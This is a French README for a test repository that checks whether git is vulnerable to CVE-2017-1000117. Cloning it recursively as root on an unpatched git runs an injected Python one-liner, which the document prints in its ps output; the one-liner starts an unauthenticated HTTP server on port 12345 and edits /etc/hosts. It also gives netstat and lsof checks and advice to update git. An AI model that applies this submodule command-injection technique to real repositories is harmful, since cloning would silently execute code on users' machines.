
Vérification de CVE-2017-1000117
Ceci fonctionne avec la vulnérabilité CVE-2017-1000117.
En clonant ce dépôt avec la commande git avec l'option --recurse en tant que root,
un serveur http écoutera sur le port 12345 sans autorisation.
Pour arrêter le serveur http, trouvez son numéro de processus et tuez-le.
CentOS7
macOS Sierra
Debian8
Exécutez la commande suivante. Une fois terminée, la console se bloquera, alors quittez avec Ctrl + C.
[root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git
1.Exécutez la commande PS et vérifiez si le code Python s'exécute.
[root@localhost ~]$ ps ax | grep http
21365 pts/0 S 0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
21381 pts/0 S+ 0:00 grep --color=auto ht
2.Vérifiez avec netstat si le port 12345 est en écoute.
[root@localhost ~]$ netstat -tanp | grep 12345
tcp 0 0 127.0.0.1:12345 0.0.0.0:* LISTEN 21365/python
Sous macOS, vérifiez avec la commande suivante.
MAcbook:~ root# lsof -nP -iTCP -sTCP:LISTEN
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Python 14231 root 3u IPv4 0xa3955f2183c66251 0t0 TCP 127.0.0.1:12345 (LISTEN)
3.Vérifiez si la ligne « 127.0.0.1 nom_d_hôte » a été ajoutée en bas du fichier /etc/hosts.
Mettez à jour git vers la dernière version. Référez-vous au lien suivant.
Méthode pour mettre à jour Git depuis un dépôt distant GitHub vers la dernière version